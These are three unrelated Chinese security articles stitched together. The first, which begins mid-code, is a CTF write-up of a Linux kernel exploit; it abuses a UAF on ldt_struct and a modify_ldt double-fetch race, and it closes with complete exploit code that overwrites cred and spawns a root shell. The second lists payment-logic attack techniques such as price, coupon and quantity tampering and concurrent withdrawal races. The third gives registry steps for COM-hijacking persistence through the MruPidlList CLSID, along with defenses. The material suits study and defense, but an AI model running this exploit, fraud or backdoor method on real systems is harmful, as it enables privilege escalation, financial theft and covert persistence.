unsigned long , bytecount)
{
int ret = -ENOSYS;
switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
/*
* The SYSCALL_DEFINE() macros give us an 'unsigned long'
* return type, but tht ABI for sys_modify_ldt() expects
* 'int'. This cast gives us an int-sized value in %rax
* for the return code. The 'unsigned' is necessary so
* the compiler does not try to sign-extend the negative
* return codes into the high half of the register when
* taking the value from int->long.
*/
return (unsigned int)ret;
}
我们应当传入三个参数：func、ptr、bytecount，其中 ptr 应为指向 `user_desc` 结构体的指针，参照 man page
可知该结构体如下：
struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
};
**read_ldt()：内核任意地址读**
定义于 `/arch/x86/kernel/ldt.c`中，我们主要关注如下逻辑：
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
//...
if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
//...
out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}
在这里会 **直接调用 copy_to_user 向用户地址空间拷贝数据** ，我们不难想到的是若是能够控制 ldt->entries
便能够完成内核的任意地址读，由此泄露出内核数据
**write_ldt()：分配新的 ldt_struct 结构体**
定义于 `/arch/x86/kernel/ldt.c`中，我们主要关注如下逻辑：
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
//...
error = -EINVAL;
if (bytecount != sizeof(ldt_info))
goto out;
error = -EFAULT;
if (copy_from_user(&ldt_info, ptr, sizeof(ldt_info)))
goto out;
error = -EINVAL;
if (ldt_info.entry_number >= LDT_ENTRIES)
goto out;
//...
old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);
error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;
if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);
new_ldt->entries[ldt_info.entry_number] = ldt;
//...
install_ldt(mm, new_ldt);
unmap_ldt_struct(mm, old_ldt);
free_ldt_struct(old_ldt);
error = 0;
out_unlock:
up_write(&mm->context.ldt_usr_sem);
out:
return error;
}
我们注意到在 write_ldt() 当中会使用 alloc_ldt_struct() 函数来为新的 ldt_struct 分配空间，随后将之应用到进程，
alloc_ldt_struct() 函数定义于 `arch/x86/kernel/ldt.c` 中，我们主要关注如下逻辑：
/* The caller must call finalize_ldt_struct on the result. LDT starts zeroed. */
static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;
if (num_entries > LDT_ENTRIES)
return NULL;
new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
//...
可以看到的是，ldt_struct 结构体通过 kmalloc() 从 `kmalloc-xx` 中取，对于 slab 分配器即为从
`kmalloc-32` 中取，由此我们可以得到如下解题思路：
* 先分配一个 object 后释放
* 通过 write_ldt() 将这个 object 重新取回
* 通过 UAF 更改 ldt->entries
* 通过 read_ldt() 搜索内核地址空间
接下来我们考虑如何完成提权
**Step I. 泄露 page_offset_base**
由于开启了 kaslr 的缘故，我们需要想方法泄露内核空间相关地址，在这里官方题解给出了一种美妙的解法——我们可以 **直接爆破内核地址**
：对于无效的地址，copy_to_user 会返回非 0 值，此时 read_ldt() 的返回值便是 `-EFAULT`，当 read_ldt()
执行成功时，说明我们命中了内核空间
爆破代码逻辑很容易就能写出来：
struct user_desc desc;
size_t kernel_base = 0xffffffff81000000;
size_t temp;
int retval;
//...
chunkSet(0);
chunkDel(0);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
while(1)
{
chunkEdit(kernel_base);
retval = syscall(SYS_modify_ldt, 0, &temp, 8);// final param should be 8 there
if (retval >= 0)
break;
kernel_base += 0x200000;
}
但是本题开启了 `hardened usercopy` 保护，当 copy_to_user() 的源地址为内核 .text 段（_stext,
_etext）时 **会引起 kernel panic**
那么这里我们可以考虑更改思路——搜索`物理地址直接映射区`， **我们的 task_struct 结构体便在这一块区域内** ，只要我们找到本进程的
task_struct，更改 cred 的 uid 为 0，也能够完成提权
> 物理地址直接映射区即 direct mapping area，即 **线性映射区** （不是线代那个线性映射），这块区域的线性地址到物理地址空间的映射是
> **连续的** ，kmalloc 便从此处分配内存
>
> 而 vmalloc 则从 vmalloc/ioremap space 分配内存，起始地址为 `vmalloc_base`，这一块区域到物理地址间的映射是
> **不连续的**
这一块区域的起始地址称之为 `page_offset_base`，其地址为 `0xffff888000000000`（参见
[这↑里↓](https://elixir.bootlin.com/linux/latest/source/Documentation/x86/x86_64/mm.rst)），我们从这个地址开始搜索即可
struct user_desc desc;
size_t page_offset_base = 0xffff888000000000;
int retval;
//...
chunkSet(0);
chunkDel(0);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
while(1)
{
chunkEdit(page_offset_base);
retval = syscall(SYS_modify_ldt, 0, &desc, 8);// final param should be 8 there
if (retval >= 0)
break;
page_offset_base += 0x2000000;
}
**Step II. 泄露进程 task_struct 地址**
阅读 `task_struct` 源码，观察到其主体凭证下方有个特殊的字段 `comm`：
> /include/linux/sched.h
struct task_struct {
//...
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif
/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
struct nameidata *nameidata;
//...
};
这个字段便是该进程的名字，且其位置刚好在 cred 附近，我们只需要从 `page_offset_base` 开始找当前进程的名字便能够找到当前进程的
task_struct
使用 prctl 系统调用我们可以修改当前进程的 task_struct 的 comm 字段，这样我们便能够更方便地进行查找：
prctl(PR_SET_NAME, "arttnba3pwn!");
但是我们不能够直接搜索整个线性映射区域，这仍有可能触发 hardened usercopy 的检查，在这里官方给出了一个美妙的解法：
观察 fork 系统调用的源码，我们可以发现如下执行链：
sys_fork()
kernel_clone()
copy_process()
copy_mm()
dup_mm()
dup_mmap()
arch_dup_mmap()
ldt_dup_context()
ldt_dup_context() 定义于 `arch/x86/kernel/ldt.c` 中，逻辑如下：
/*
* Called on fork from arch_dup_mmap(). Just copy the current LDT state,
* the new task is not running, so nothing can be installed.
*/
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
//...
memcpy(new_ldt->entries, old_mm->context.ldt->entries,
new_ldt->nr_entries * LDT_ENTRY_SIZE);
//...
}
在这里会通过 memcpy 将父进程的 ldt->entries 拷贝给子进程， **是完全处在内核中的操作** ，因此不会触发 hardened
usercopy 的检查，我们只需要在父进程中设定好搜索的地址之后再开子进程来用 read_ldt() 读取数据即可
cur_pid = getpid();
prctl(PR_SET_NAME, "arttnba3pwnn");
pipe(pipe_fd);
buf = (char*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
cred_addr = 0;
while(1)
{
chunkEdit(search_addr);
int ret = fork();
if (!ret) // child
{
signal(SIGSEGV, die);
syscall(SYS_modify_ldt, 0, buf, 0x8000);
result_addr = (size_t*) memmem(buf, 0x8000, "arttnba3pwnn", 12);
if (result_addr \
&& (result_addr[-2] > page_offset_base) \
&& (result_addr[-3] > page_offset_base) \
&& (((int) result_addr[-58]) == cur_pid))
{
cred_addr = result_addr[-2]; // task_struct->cred
printf("\033[32m\033[1m[+] Found cred: \033[0m%lx\n", cred_addr);
}
write(pipe_fd[1], &cred_addr, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &cred_addr, 8);
if (cred_addr)
break;
search_addr += 0x8000;
}
> 这里需要注意一点就是 uid 的类型为 int，笔者因为这个疏忽卡了好一阵子…
**Step III. double fetch 更改进程 uid 完成提权**
在我们获得了 cred 的地址之后，我们只需要将 cred->euid 更改为 0 就能拥有 root 权限，之后再调用 `setreuid ()`
等一系列函数完成全面的提权
现在我们考虑如何在内核空间中进行任意写，这一次我们仍然借助 modify_ldt() 系统调用来达到我们的目的，重新回到 `write_ldt()`
函数的主体逻辑：
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
//...
old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);
error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;
if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);
new_ldt->entries[ldt_info.entry_number] = ldt;
//...
}
我们可以看到的是，在 memcpy 时所拷贝的字节数为 `old_ldt->nr_entries *
LDT_ENTRY_SIZE`，其中前者的上限值与后者都定义于 `arch/x86/include/uapi/asm/ldt.h` 中，如下：
/* Maximum number of LDT entries supported. */
#define LDT_ENTRIES 8192
/* The size of each LDT entry. */
#define LDT_ENTRY_SIZE 8
那么这个数据量相对较大，拷贝需要用到一定的时间，而在拷贝结束后有一句 `new_ldt->entries[ldt_info.entry_number] =
ldt`，其中 ldt 为我们传入的数据，我们不难想到的是 **可以通过条件竞争的方式在 memcpy 过程中将 new_ldt- >entries
更改为我们的目标地址从而完成任意地址写**，即 double fetch
在这里为了提高利用的成功率，笔者参照官方题解中使用 `sched_setaffinity` 将相应的进程绑定到单个 CPU 上（在 run.sh
中定义了两个核），需要注意的是编译时需包含 `#define _GNU_SOURCE`
在这里 **有几个令笔者所不解的点** ，目前暂时还没联系上出题人（ ~~都过去一个月了谁还看discord啊~~ ）：
* 在开子进程任意写之前要先将当前的 `old_ldt->entries` 设为 `cred_addr + 4`，不然成功率会大幅下降
* 任意写时需先分配 index 为 1~ 15 的 object，并全部释放，选取其中的 `index 11` 来进行任意写，其他的 index 都会失败，仅分配一个 object 也会失败
**FINAL EXPLOIT**
最终的 exp 如下：
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>
long kernote_fd;
void errExit(char * msg)
{
printf("\033[31m\033[1m[x] %s \033[0m\n", msg);
exit(EXIT_FAILURE);
}
void chunkSet(int index)
{
ioctl(kernote_fd, 0x6666, index);
}
void chunkAdd(int index)
{
ioctl(kernote_fd, 0x6667, index);
}
void chunkDel(int index)
{
ioctl(kernote_fd, 0x6668, index);
}
void chunkEdit(size_t data)
{
ioctl(kernote_fd, 0x6669, data);
}
void chunkFuck(void)
{
ioctl(kernote_fd, 0x666A);
}
void getRootShell(void)
{
if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
}
int main(int argc, char ** argv, char ** envp)
{
struct user_desc desc;
size_t page_offset_base = 0xffff888000000000;
size_t temp;
int retval;
size_t cred_addr;
size_t search_addr;
size_t per_search_addr;
size_t *result_addr;
int cur_pid;
char *buf;
int pipe_fd[2] = {0};
cpu_set_t cpu_set;
printf("\033[34m\033[1m[*] Start to exploit... \033[0m\n");
desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;
kernote_fd = open("/dev/kernote", O_RDWR);
chunkAdd(0);
chunkSet(0);
chunkDel(0);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
while(1)
{
//printf("\033[34m\033[1m[*] now checking: \033[0m%lx\n", page_offset_base);
chunkEdit(page_offset_base);
retval = syscall(SYS_modify_ldt, 0, &temp, 8);// final param should be 8 there
if (retval >= 0)
break;
page_offset_base += 0x4000000;
}
printf("\033[32m\033[1m[+] Found page_offset_base: \033[0m%lx\n", page_offset_base);
cur_pid = getpid();
prctl(PR_SET_NAME, "arttnba3pwnn");
pipe(pipe_fd);
buf = (char*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
cred_addr = 0;
while(1)
{
chunkEdit(search_addr);
retval = fork();
if (!retval) // child
{
syscall(SYS_modify_ldt, 0, buf, 0x8000);
result_addr = (size_t*) memmem(buf, 0x8000, "arttnba3pwnn", 12);
if (result_addr \
&& (result_addr[-2] > page_offset_base) \
&& (result_addr[-3] > page_offset_base) \
&& (((int) result_addr[-58]) == cur_pid))
{
cred_addr = result_addr[-2]; // task_struct->cred
printf("\033[32m\033[1m[+] Found cred: \033[0m%lx\n", cred_addr);
}
write(pipe_fd[1], &cred_addr, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &cred_addr, 8);
if (cred_addr)
break;
search_addr += 0x8000;
}
//chunkEdit(cred_addr + 4);
retval = fork();
if (!retval) // child
{
retval = fork();
if (!retval) // child's child
{
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
sleep(1);
for (int i = 1; i < 15; i++)
chunkAdd(i);
chunkSet(11);
for (int i = 1; i < 15; i++)
chunkDel(i);
CPU_ZERO(&cpu_set);
CPU_SET(1, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
while (1)
chunkEdit(cred_addr + 4);
}
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
desc.base_addr = 0;
desc.entry_number = 2;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;
sleep(3);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
sleep(114514);
}
sleep(10);
if (geteuid())
errExit("FAILED TO GET THE ROOT!");
puts("\033[32m\033[1m[+] SUCCESSFUL to get the ROOT, execve ROOT SHELL soom...\033[0m");
setreuid(0,0);
setregid(0,0);
system("/bin/sh");
return 0;
}
> 打远程的脚本可以参照 kbrop 的
不一定能一次成功，有的时候需要多试几次，笔者个人推测应当是 freelist 随机化的缘故 | 社区文章 |
# 挖洞技巧：支付漏洞之总结
##### 译文声明
本文是翻译文章，文章原作者 剑影，文章来源：07v8
原文地址：<http://mp.weixin.qq.com/s/Tt6FkoPBHSJfh2xIV-XJBg>
译文仅供参考，具体内容表达以及含义原文为准。
> 大家好，我是剑影，这是我的第四篇原创文章。
>
>
> 我写文章向来是尽可能的把各种思路写在一起，而不是分散着些，所以我在网上收集了个人认为不错的思路以及自己在挖掘过程中的思路，然后融入到本文章当中，争取让大家能够学到这方面更多的知识和思路。
>
>
> 我写文章就是带着耳机，循环放着自己喜欢的歌单，翻阅各种历史文章，然后一边写一边思考，写完了然后总体检阅一遍。在我想构思第四篇应该写什么的时候，其实我很久以前就想过了，只不过我把它放在了我的第四篇文章当中，所以，本文章思路很多，当然我也会找相关的思路例子以更好地助于吸收学习，有些例子找不到那么我尽可能的用文字来描述的详细一些。
支付漏洞一直以来就是是高风险，对企业来说危害很大，对用户来说同样危害也大，就比如我用他人账户进行消费，这也属于支付漏洞中的越权问题。那么支付漏洞一般存在在哪些方面呢，根据名字就知道，凡是涉及购买、资金等方面的功能处就有可能存在支付问题。
本文章将分类来进行讲述支付漏洞当中的那些思路。
首先说下支付问题的思路
## 0x01 修改支付价格
在支付当中，购买商品一般分为三步骤：订购、确认信息、付款。
那么这个修改价格具体是修改哪一步时的价格呢？在我看来，你可以在这三个步骤当中的随便一个步骤进行修改价格测试，如果前面两步有验证机制，那么你可在最后一步付款时进行抓包尝试修改金额，如果没有在最后一步做好检验，那么问题就会存在，其修改的金额值你可以尝试小数目或者尝试负数。
这里我找到了相关例子：
①：[https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=8236](https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=8236)
②：[https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=21478](https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=21478)
③：<http://www.anquan.us/static/bugs/wooyun-2016-0174748.html>
## 0x02 修改支付状态
>
> 这个问题我隐约的遇到过，之前在找相关资料的时候发现了一篇文章讲的是修改支付状态为已支付状态这样的思路，然后勾起了我的回想，这个问题是没有对支付状态的值跟实际订单支付状态进行校验，导致点击支付时抓包修改决定支付或未支付的参数为支付状态的值从而达到支付成功。
这里是一个例子，虽然其文章作者测试失败了，但我觉得思路是非常不错的，例子：
①：[https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=28151](https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=28151)
## 0x03 修改购买数量
在支付的过程中，数量也同时决定着价格，比如：1个数量商品对应的是100，2个数据就是200，那么当你修改这个值数量值为负数时，那么其金额也会变为负数，最后就会导致支付问题的产生。
## 0x04 修改附属值
> 这里是我自己想的一个词，比如在很多购买的时候都可以利用积分或者优惠劵等等进行代替金额付款，那么就容易存在问题。在这里我把附属值分为几类进行讲述。
①：修改优惠劵金额
优惠劵其基本都是优惠一半，一般用优惠劵进行消费一般出现在第二个步骤当中：确认购买信息，在这个步骤页面当中，你可以选择相关优惠劵，然后直接修改金额大于或等于商品的价格就可以，或者直接修改其为负值进行尝试，最后进行支付，如果对这点没有加以验证，那么问题就会产生，直接支付成功。
②：修改优惠劵金额及业务逻辑问题
可能你看到这个标题会想到，你不是上一个讲的就是这个修改优惠劵金额的问题嘛？为什么还要再讲一遍这个？请继续看！
之前遇到过这个漏洞，这个漏洞也是逻辑问题导致了成功利用，同样在是在第二部确认购买信息当中有可选择优惠劵进行支付，但是，当你修改其优惠劵值为任意值或负值想要支付的时候，会回显支付失败，或者金额有误等一些提示，可能这时很多白帽子会很失望然后就会去其它点找问题了，但当你找到个人中心，点击订单详情，如果存在这个逻辑问题，那么此时在你刚刚修改优惠劵金额后点击下一步支付的时候，其实这时候就已经产生了订单了，你在订单详情内就可以看到支付金额为0，因为你刚刚修改了优惠劵金额嘛，然后你点击支付就可以支付成功。
当然，这里还要说下小技巧，有可能会支付失败，但是如果你找到的这个问题是一个一般业务分站点，如果有自带的一个钱包功能，那么你就可以利用这个只带的钱包功能去支付这个订单，而不要利用其它支付类型，那么就可以支付成功！
③：修改积分金额
有些网站有积分，比如你消费多少，评论多少就可以拥有一定的积分数量，这个积分可以在你付款的时候进行折扣其订单金额，如果这个没有做好积分金额的校验，那么当你在支付当中选择用积分为账户减一些金额的时候，可以抓包修改其积分金额为任意数或负金额，然后可0元支付成功。
相关例子：
①：<http://www.anquan.us/static/bugs/wooyun-2015-0139556.html>
## 0x05 修改支付接口
比如一些网站支持很多种支付，比如自家的支付工具，第三方的支付工具，然后每个支付接口值不一样，如果逻辑设计不当，当我随便选择一个点击支付时进行抓包，然后修改其支付接口为一个不存在的接口，如果没做好不存在接口相关处理，那么此时就会支付成功。
## 0x06 多重替换支付
``以前好像也看到过相关的例子，首先去产生两个订单，这两个订单商品是不一样的，其价格不一样，如果服务端没有做好这相关的验证，那么在支付的过程当中抓包，修改其订单值为另一个订单值，最后支付，这时就可以用订单一的支付价格买到订单而的商品。
## 0x07 重复支付
这个其实只是支付当中的一个别类，但是这个思路新颖，所以我就列了出来，比如一些交易市场有一类似于试用牌子或者其它，这个试用牌子可以依靠签到获得，而这个牌子的作用可以去试用一些商品，在你进行试用的时候会扣掉你的试用牌子，当你试用完成或者主动取消试用时，试用牌子会返回到账户当中，你知道，签到得到的牌子肯定很少，且如果想试用好一点的商品那么牌子的数量就尤为重要了。
这里的问题就是如果没有进行对订单多重提交的校验，那么就可导致无限制刷牌子，比如，你试用时抓包，然后你每次试用都会产生一个订单号，然后利用刚抓到的数据包进行批量提交，你就可以看到每次提交的订单号不一样，然后这时你再看订单可以看到同一个商品的无数订单，但试用牌子数只扣了你第一个试验时的牌子数，那么这时你申请批量退出试用，那么这么多订单，每退一个就会退相应的牌子数量到账户当中，这就构成了无限制刷得问题。
## 0x08 最小额支付
在很多白帽子测试支付的漏洞时候，修改的金额往往都是0.01等或者负数，我想说这很容易错失掉一些潜在的支付问题，我就深有体会，在挖掘支付漏洞的过程当中，就遇到过，直到第三次再一次检测时才发现，比如一些网站有金币或者积分什么就相当于支付可以用这些支付，那么在充值的时候，比如：10元对应的积分值为100、50对应的是5000、100对应的是10000。
这个问题如果你在充值时进行修改其支付金额为负数或者0.01等是会显示支付失败的，但是如果你修改其金额为1.00，那么支付就会成功，也就用1元购买到任意值得积分数量了，这是为什么呢？
其实你在测试过程当中细心点就可以很好发现的，这里最低就是1元，1元对应100积分，而你如果修改为0.01，那么对应的积分就是空值了，所以会显示失败，而当你修改为1元，那么1元这个支付接口是存在的，其后面积分数为其它金额的积分数，然后跳转过去支付就会以1元购买到比它多得多的积分数量，也可以是任意积分值。
## 0x09 值为最大值支付问题
以前也是看到过相关的例子，一些网站比如你购买商品，这里有2个思路修改值，1是直接修改支付金额值为最大值，比如999999999，或者修改附属值，如优惠卷，积分等为999999999，如果这里逻辑设计有问题，那么其支付金额会变为0。
## 0x10 越权支付
这个问题很早之前有过，现在可能很少存在这类问题，在支付当中会出现当前用户的ID，比如：username=XXXXX，如果没有加以验证，其支付也是一次性支付没有要求输入密码什么的机制，那么就可以修改这个用户ID为其它用户ID，达到用其他用户的账号进行支付你的商品。
## 0x11 无限制试用
一些网站的一些商品，比如云系列产品支持试用，试用时期一般为7天或者30天，一个账户只能试用一次，试用期间不能再试用，但如果这个试用接口会做好分配那么很容易导致问题的发生。
这也是我遇到过的例子，比如：在支付的时候它URL后面的支付接口是3，而试用接口是4，那么此时你已经使用过了，复制下确认试用时的URL，修改后面的支付接口为3，那么此时就会调用购买支付接口，但是由于你本身这个产品就是试用的，其相应值绑定了这个试用商品，那么金额就肯定是0，那么最后点击支付，你就可以看到支付成功，试用成功，又重复试用了一次，然后他们的试用时间会累加在一起，这就导致了可无限制购买任何产品了。
## 0x12 修改优惠价
比如一些商品有优惠价，优惠多少多少，那么在支付时抓包，修改这个优惠价就可造成支付问题的产生。
支付问题的相关分析文章：
①：<http://wooyun.jozxing.cc/static/drops/papers-345.html>
②：<http://xdxd.love/2015/12/02/%E6%94%AF%E4%BB%98%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/>
## 以下是不常见思路
### 0x01 多线程并发问题
可能很多白帽子知道，也有可能不知道，或者听说过，但是没有实际挖掘过，那么我相信，这个思路会让你们有新的挖掘方向了。
现在可能还有一些大厂商存在该问题，多线程并发问题就是没有实时的处理各种状态所导致的问题，之前挖掘过刷钱问题，就是利用该思路，比如很多平台有自家的钱包，而这个钱包是一个迷你钱包，这个钱包作用也仅是用于这当前一个业务平台网站，在提现时，没有任何验证码或者校验机制，只要输入体现金额就可以提现，并且是秒到账，如果什么负数，修改金额都测试过了都不行，那么你就可以试试多线程并发问题，提现时抓包，比如我现在钱包内有0.1元，那么按理说每提0.01可以体现10次，也就是发送10次进程，但是利用这个问题可以达到多发现几次成功的进程，提现时抓包，然后把数据包发送到BurpSuite工具的Intruder当中，进行批量发送18次，然后可以看到成功的提现到了12次。
这里我贴出相关证明图片：
这里是从0开始到11截止，我账户内只有0.1 而这里体现了0.12
也就是提现的进程为12次，369为提现成功，349为提现失败的长度值，从这里就可以看出这个问题的危害了，当然此时账户的金额肯定是为负的了，如果把这个提现金额变大，那么这多提现的金额可不是闹着玩的。
当然，多线程也可以在其它功能处进行测试，比如我之前讲到的试用商品问题，就可以通过多线程进行多几次的使用，比如利用积分总换礼品，一个账户只能进行总换一次，利用这个问题，可以多几次总换，一些转账功能，提现功能，购买功能等等很多。
多线程并发的相关分析文章：
①：<http://wooyun.jozxing.cc/static/drops/papers-831.html>
### 0x02 支付问题挖掘技巧
如果你习惯用BurpSuite工具，那么在你测试抓包的时候通常请求包都有很多，比如有3个请求包，第一个请求包是一个干扰数据包，第二个是一个图片加载的数据包，第三个可能才是支付相关的数据包，所以有时候要细心，不要认为抓不到，如果你用的是其它工具，那么可以查看整个提交过程，所以很容易看到提交的各种数据包，在BurpSuite当中你可以通过Target这模块进行分析，这个模块会有你测试时相关的数据包。
## 总结
支付问题一直以来就是很严重的问题，不管对厂商来说还是用户来说，让支付过程中更安全，是每一个从事安全方面人的责任，因为交易无时无刻的都在进行。最后希望更多白帽子扩展思路，挖掘到相关问题并提交给厂商，同样厂商也要更加注重安全。发现问题，解决问题，让这个世界更美，下次文章见~ | 社区文章 |
## 0x00 前言
在之前的文章介绍了两种利用COM对象劫持实现的后门，利用思路有一些区别：
**第一种，通过CLR劫持.Net程序**
正常CLR的用法：
设置注册表键值HKEY_CURRENT_USER\Software\Classes\CLSID
cmd下输入：
SET COR_ENABLE_PROFILING=1
SET COR_PROFILER={11111111-1111-1111-1111-111111111111}
CLR能够劫持当前cmd下所有.Net程序的启动
后门利用思路：
我尝试通过WMI修改环境变量，使CLR作用于全局，就能够劫持所有.Net程序的启动
经实际测试，该方法有效，系统启动后默认会调用.Net程序，加载CLR，后门触发
**第二种，劫持CAccPropServicesClass和MMDeviceEnumerator**
该方法曾被木马COMpfun使用，所以思路也是从COMpfun学到的
设置注册表键值HKEY_CURRENT_USER\Software\Classes\CLSID能够指定实例CAccPropServicesClass和MMDeviceEnumerator对应加载的dll
而IE浏览器进程iexplore.exe启动时会调用以上两个实例
所以通过注册表设置CAccPropServicesClass和MMDeviceEnumerator对应加载的dll，能够劫持IE浏览器的启动，实现后门触发
当然，该方法只能算得上是一个被动后门，只有用户启动IE浏览器，才能触发后门
然而，在众多COM对象中，可供利用的劫持对象不唯一，甚至存在能够劫持桌面进程explorer.exe的方法，相当于一个主动后门
例如：劫持MruPidlList
**注：**
该方法曾被多个已知的恶意软件使用
本着通过研究所有已公开的COM对象后门利用方法，进而总结应对COM劫持防御方法的原则，本文将要介绍另外两种COM劫持的后门利用方法
之前的文章：
《[Use CLR to maintain persistence](http://www.4hou.com/technology/6863.html)》
《[Use COM Object hijacking to maintain persistence——Hijack
CAccPropServicesClass and
MMDeviceEnumerator](http://www.4hou.com/technology/7010.html)》
## 0x01 简介
本文将要介绍以下内容
· 通过劫持MruPidlList实现的后门思路
· 恶意利用实例
· 总结应对COM劫持的防御方法
## 0x02 通过劫持MruPidlList实现的后门思路
注册表位置：HKCU\Software\Classes\CLSID
创建项{42aedc87-2188-41fd-b9a3-0c966feabec1}
创建子项InprocServer32
Default的键值为测试dll的绝对路径：C:\test\calc.dll
创建键值： ThreadingModel REG_SZ Apartment
如下图
该注册表位置对应COM对象MruPidlList，作用于shell32.dll
而shell32.dll是Windows的32位外壳动态链接库文件，用于打开网页和文件，建立文件时的默认文件名的设置等大量功能
直观的理解，explorer.exe会调用shell32.dll，加载COM对象MruPidlList
系统在启动时默认启动进程explorer.exe，如果劫持了COM对象MruPidlList，就能劫持进程explorer.exe，实现后门随系统开机启动，相当于是主动后门
当然，为便于测试，不需要重启系统，结束进程explorer.exe再新建进程explorer.exe就好
新建进程后，加载calc.dll，弹出计算器，如下图
测试64位系统，注册表位置不变，但是需要换用64位dll，重启时后门触发，启动calc.exe，如下图
Win8系统同样适用，如下图
## 0x03 恶意利用实例
**1、COMRAT**
怀疑与Uroburos和Agent.BTZ同源
Uroburos：至今发现的最先进rootkit恶意程序之一
Agent.BTZ：一款在2008年用于渗透五角大楼的恶意软件
详细资料：
<https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf>
**2、ZeroAccess rootkit**
ZeroAccess rootkit：感染过大约900多万台计算机
详细资料：
<https://nakedsecurity.sophos.com/2012/06/06/zeroaccess-rootkit-usermode/>
<https://www.sophos.com/en-us/threat-center/technical-papers/zeroaccess-botnet.aspx>
**注：**
ZeroAccess rootkit还使用过另一个COM劫持的位置
注册表位置：HKCU\Software\Classes\clsid{fbeb8a05-beee-4442-804e-409d6c4515e9}
利用方法同上，也能够劫持explorer.exe
**3、BBSRAT**
详细资料：
<https://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/>
<http://2014.zeronights.org/assets/files/slides/roaming_tiger_zeronights_2014.pdf>
## 0x04 防御
由于COM对象是操作系统的正常功能，禁用COM对象不太现实
以下键值指向的dll路径应该特别注意：
· HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1}
· HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9}
· HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
·
HKCU\Software\Classes\Wow64\32\Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}
**防御方法：**
1、使用应用程序白名单规则，禁止加载第三方dll
2、对注册表HKCU\Software\Classes\CLSID的写入和修改操作进行记录并调查
更多关于COM对象劫持的资料可参考：
<https://attack.mitre.org/wiki/Technique/T1122>
## 0x05 小结
